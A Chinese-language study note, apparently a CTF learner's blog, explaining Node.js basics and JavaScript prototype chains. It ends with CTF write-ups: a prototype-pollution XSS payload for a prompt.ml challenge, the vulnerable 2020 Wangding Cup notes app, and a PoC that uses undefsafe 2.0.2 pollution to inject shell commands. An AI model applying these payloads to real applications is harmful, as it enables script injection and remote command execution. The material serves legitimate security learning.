1. nodejs
Node.js 中文网 : http://nodejs.cn/
官方网站:https://nodejs.org/
一句话:Node.js手册是天!!!
1.1 nodejs基础
简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。Node.js 的包管理器 npm,是全球最大的开源库生态系统。
1.1.1 nodejs安装及环境配置
参考资料:
1、Node.js安装及环境配置之Windows篇 https://www.jianshu.com/p/03a76b2e7e00
2、npm 管理 NodeJS 包 https://linux.cn/article-9614-1.html
参考资料的讲解已经非常详尽了。
1.1.2 command
let
在新的js规范ES6中,新增了let
命令,用来声明变量。用法类似于var,但不同的是所声明的变量,只在let
命令所在的代码块内有效。
1.1.3 jwt
const crypto = require('crypto');
//javascript的crypto模块
const jwt = require('jsonwebtoken')
//jsonwebtoken 库
//normal-encode-process
const secret = "NuAa"
const username = "admin"
const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
console.log(token)
// eyJhbGciOiJIUzI1NiJ9.YWRtaW4.IhPaXo5KXx1Nh7mcvVPq5gycWLe6-3pLaZUa17vKKwY
1.2 nodejs进阶
1.2.1 node_modules
1.2.1.1 child_process
NodeJs是一个单进程的语言,不能像Java那样可以创建多线程来并发执行。当然在大部分情况下,NodeJs是不需要并发执行的,因为它是事件驱动性永不阻塞。但单进程也有个问题就是不能充分利用CPU的多核机制,根据前人的经验,可以通过创建多个进程来充分利用CPU多核,并且Node通过了child_process模块来创建完成多进程的操作。
child_process模块给予node任意创建子进程的能力,node官方文档对于child_proces模块给出了四种方法,映射到操作系统其实都是创建子进程。
第一种:
child_process.exec()
: 衍生一个 shell 并在该 shell 中运行命令,当完成时则将 stdout 和 stderr 传给回调函数。
1.2.2 框架
1.2.2.1 express
参考资料:
1、NodeJS express(tql) https://www.jianshu.com/p/5cd306db1c0a
express1 快速搭建后台服务
const express = require('express'); //1、引入express模块
const server = express(); //2、调用express方法实例化对象
server.get('/',(req,res) => { //3、设置路由,响应不同的url地址请求
res.send('express 搭建后台服务');
});
server.listen(3000); //4、监听端口
//vocode输出栏下右键,Stop Code Run
express2 路由
语法:app.methods(path,callback)
- app 是 express 实例对象
- methods 是请求方法 get | post | put | update | delete |…
- path 就是路径(url定值的 pathname ),必须以’/‘开头
- callback 回调函数,路由的处理函数
- req
- res (这里的 req res 就是原生nodejs中的 req res。但比原生中要多一些属性方法,是express加上去的)
- next 是一个方法,调用这个方法会让路由继续匹配下一个能匹配上的
express3 中间件
中间件其实是一个携带req、res、next这三个参数的函数,在请求与响应之间做一些中间处理的代码。
express4 跨域
2. 原型链
2020年网鼎杯第一场青龙组就出了一道web题,是考察javascript原型链泄露的,基于此对这一块进行深入了解和学习下。
2.1 javascript——原型与原型链
2.1.1 原型链基础
2.1.1.1 prototype (函数字面量)
在JavaScript中,每个函数(也只有函数才有)都有一个prototype属性,这个属性指向函数的原型对象。
function Person(age) {
this.age = age
}
Person.prototype.name = 'pperk'
var person1 = new Person()
var person2 = new Person()
console.log(person1.name) //pperk
console.log(person2.name) //pperk
上述例子中,函数的prototype指向了一个对象,而这个对象正是调用构造函数时创建的实例的原型,也就是person1和person2的原型。
原型的概念:每一个javascript对象(除null外)创建的时候,就会与之关联另一个对象,这个对象就是我们所说的原型,每一个对象都会从原型中“继承”属性。
让我们用一张图表示构造函数和实例原型之间的关系:
2.1.1.2 __proto__ (对象字面量)
这是每个对象(除null外)都会有的属性,叫做__proto__
,这个属性会指向该对象的原型。
function Person() {
}
var person = new Person();
console.log(person.__proto__ === Person.prototype); // true
而关系图:
补充说明:
绝大部分浏览器都支持这个非标准的方法访问原型,然而它并不存在于 Person.prototype 中,实际上,它是来自于 Object.prototype ,与其说是一个属性,不如说是一个 getter/setter,当使用 obj.__proto__
时,可以理解成返回了 Object.getPrototypeOf(obj)。
2.1.1.3 constructor
每个原型都有一个constructor属性,指向该关联的构造函数。
函数对象和原型对象通过prototype和constructor属性进行相互关联。
function Person() {
}
console.log(Person===Person.prototype.constructor) //true
所以再更新下关系图:
function Person() {
}
var person = new Person();
console.log(person.__proto__ === Person.prototype) // true
console.log(Person.prototype.constructor === Person) // true
// 顺便学习一个ES5的方法,可以获得对象的原型
console.log(Object.getPrototypeOf(person) === Person.prototype) // true
补充说明:
function Person() {
}
var person = new Person();
console.log(person.constructor === Person); // true
当获取 person.constructor 时,其实 person 中并没有 constructor 属性,当不能读取到constructor 属性时,会从 person 的原型也就是 Person.prototype 中读取,正好原型中有该属性,所以:
person.constructor === Person.prototype.constructor
2.1.1.4 实例与原型
当读取实例的属性时,如果找不到,就会查找与对象关联的原型中的属性,如果还查不到,就去找原型的原型,一直找到最顶层为止。
function Person() {
}
Person.prototype.name = 'Kevin';
var person = new Person();
person.name = 'Daisy';
console.log(person.name) // Daisy
delete person.name;
console.log(person.name) // Kevin
在这个例子中,我们给实例对象 person 添加了 name 属性,当我们打印 person.name 的时候,结果自然为 Daisy。
但是当我们删除了 person 的 name 属性时,读取 person.name,从 person 对象中找不到 name 属性就会从 person 的原型也就是 person.__proto__
,也就是 Person.prototype中查找,幸运的是我们找到了 name 属性,结果为 Kevin。
但是万一还没有找到呢?原型的原型又是什么呢?
2.1.1.5 原型的原型
在前面,我们已经讲了原型也是一个对象,既然是对象,我们就可以用最原始的方式创建它,那就是:
var obj = new Object();
obj.name = 'Kevin'
console.log(obj.name) // Kevin
其实原型对象就是通过 Object 构造函数生成的,结合之前所讲,实例的 __proto__
指向构造函数的 prototype ,所以我们再更新下关系图:
2.1.1.6 原型链理论
简单的回顾一下构造函数、原型和实例的关系:每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》
其实简单来说,就是上述四-五的过程。
继上述五中所说,那 Object.prototype 的原型呢?
console.log(Object.prototype.__proto__ === null) // true
null 表示“没有对象”,即该处不应该有值。
所以 Object.prototype.__proto__
的值为 null 跟 Object.prototype 没有原型,其实表达了一个意思。
所以查找属性的时候查到 Object.prototype 就可以停止查找了。
最后一张关系图也可以更新为:
图中由相互关联的原型组成的链状结构就是原型链,也就是蓝色的这条线。
2.1.2 原型链进阶
原型链依靠__proto__
进行连接。
原型对象等于其他对象的实例来构造原型链。
2.1.2.1 Function.prototype
参考资料:
1、Function.prototype https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype
Function.prototype 属性存储了 Function 的原型对象。
所有构造函数的__proto__
都指向Function.prototype,它是一个空函数(Empty function)
2.1.2.2 Object.__proto__
根据前面的内容可知,对象字面量的__proto__
直接指向大Boss–>Object ,那我们来创建一个实例原型b,b的__proto__
指向Object。从下图可以看出,Object.__proto__
为null,null也意味着我们可以对其进行赋值。
2.1.2.3 var
new操作符,在js中用于创建一个新的对象,在实际实现(var p=new ObjectName(param1,parem2…);)
的过程中,主要经历了以下三个步骤:
- var o={};
o.__proto__
=ObjectName.prototype;ObjectName.call(o,parma1,param2)
;
2.1.2.4 原型链构造
本章节对应2.1.1.6 原型链理论,构造详情如下:
function Mammal(generic){
this.generic=generic;
}
function Person(name,sex){
this.name=name;
this.sex=sex;
}
Person.prototype=new Mammal("Mankind");
var zhangdan=new Person("zhangdan","female")
//Person函数的原型对象等于另一个类型(Mammal)的实例
-----------------------------------------------------------------------------------------
Person.prototype.__proto__===Mammal.prototype
true
Person函数原型对象的__proto__属性与Mammal函数的原型对象相等。
-----------------------------------------------------------------------------------------
Person.prototype.__proto__.__proto__
Person.prototype.__proto__.__proto__===Mammal.prototype.__proto__
true
Mammal.prototype.__proto__.__proto__
null
-----------------------------------------------------------------------------------------
2.1.3 Javascript模拟”类”
我们知道javascript是能实现面向对象编程的,但javascript语法不支持”类”,导致传统的面向对象编程方法无法直接使用。伟大的程序员做了很多探索,研究了如何用Javascript模拟”类”。
2.1.3.1 构造函数法
2.1.3.2 极简主义法
封装(怎么感觉还要复杂了点!!)
这种方法的好处是,容易理解,结构清晰优雅,符合传统的”面向对象编程”的构造,因此可以方便地部署下面的特性。
继承
私有属性和私有方法
上例的内部变量age,外部无法获取,可以在内部通过构造函数调用。
2.1.3.3 prototype大法
2.2 题目练习
掌握上面这些基础就有了,下面就做题吧!!(狗头保命)
2.2.1 prompt
考点:原型链泄露 + replace特性
参考资料:
1、https://xz.aliyun.com/t/4507
题目链接:
思路:
1、replace函数特性:
>'11223344'.replace('2',"test")
"11test23344"
>'11223344'.replace('2',"$`test")
"1111test23344"
>'11223344'.replace('2',"$'test")
"1123344test23344"
>'11223344'.replace('2',"$&test")
"112test23344"
2、调试代码:
// 原题基础上魔改了一下,方便调试
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
//本来就两个元素,length=2,i是从1开始的,就是从JSON.parse(input)开始的
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
// 设置config.source里的为特殊字符,从而删掉第一部分,这时原型链污染的第二部分就可以填充config.source了
}
// purify the source by stripping off "
// 先把双引号全给过滤了
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
// 上一步把source的双引号全给过滤了,这一步把source放入双引号内(被当成字符串),可以利用replace的特性实现双引号闭合
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
const input = '{"source":"*","__proto__":{"source":"$`onerror=prompt(1)>"}}';
console.log(escape(input))
2.3 真题搜集
2.3.1 notes(2020网鼎杯青龙组)
参考资料:
1、express app.set() https://blog.csdn.net/qq_31411389/article/details/53673792
2、Express中app.use()用法 https://www.jianshu.com/p/1d92463ebb69
3、res.render https://www.zhihu.com/question/36979935?sort=created
4、node child_process模块 https://www.cnblogs.com/cangqinglang/p/9886657.html
5、undefsafe https://www.npmjs.com/package/undefsafe
6、[网鼎杯 2020 Web Writeup] https://www.xmsec.cc/wang-ding-bei-2020-web-writeup/
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
对萌新而言,难就难在调试,代码看不懂,调试也不会调,看不到结果,就更加不会了。
我在.js文件所在文件夹下创建一个node_modules的文件夹,然后npm install undefsafe@2.0.2,高版本已经修复了,如果默认去安装的话,就会得到高版本的,是无法进行漏洞复现的。
可以看到自动创建了一个package-lock.json,undefsafe@2.0.2的包也放在了node_modules里面。
下面写了一个poc,可以看到利用undefsafe进行原型链污染,使得字典commands在遍历的时候最后一个键值成了我们赋的shell语句,从而实现rce。
var a = require("undefsafe");
var payload = "__proto__.a";
a({},payload,"type d:\\flag");
console.log({}['a']);
const { exec } = require('child_process');
let commands = {
"script-1": "dir",
"script-2": "whoami"
};
for (let index in commands) {
exec(commands[index], (err, stdout, stderr) => {
if (err) {
console.log(err);
}
console.log(`stdout: ${stdout}`);
});
}
2.4 参考资料
1. javascript——原型与原型链 https://www.cnblogs.com/loveyaxin/p/11151586.html
2. js原型链 https://www.jianshu.com/p/08c07a953fa0
3、javascript原型链污染详解:https://wulidecade.cn/2019/04/15/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E8%AF%A6%E8%A7%A3(%E5%90%8E%E6%9C%89%E5%BD%A9%E8%9B%8B)/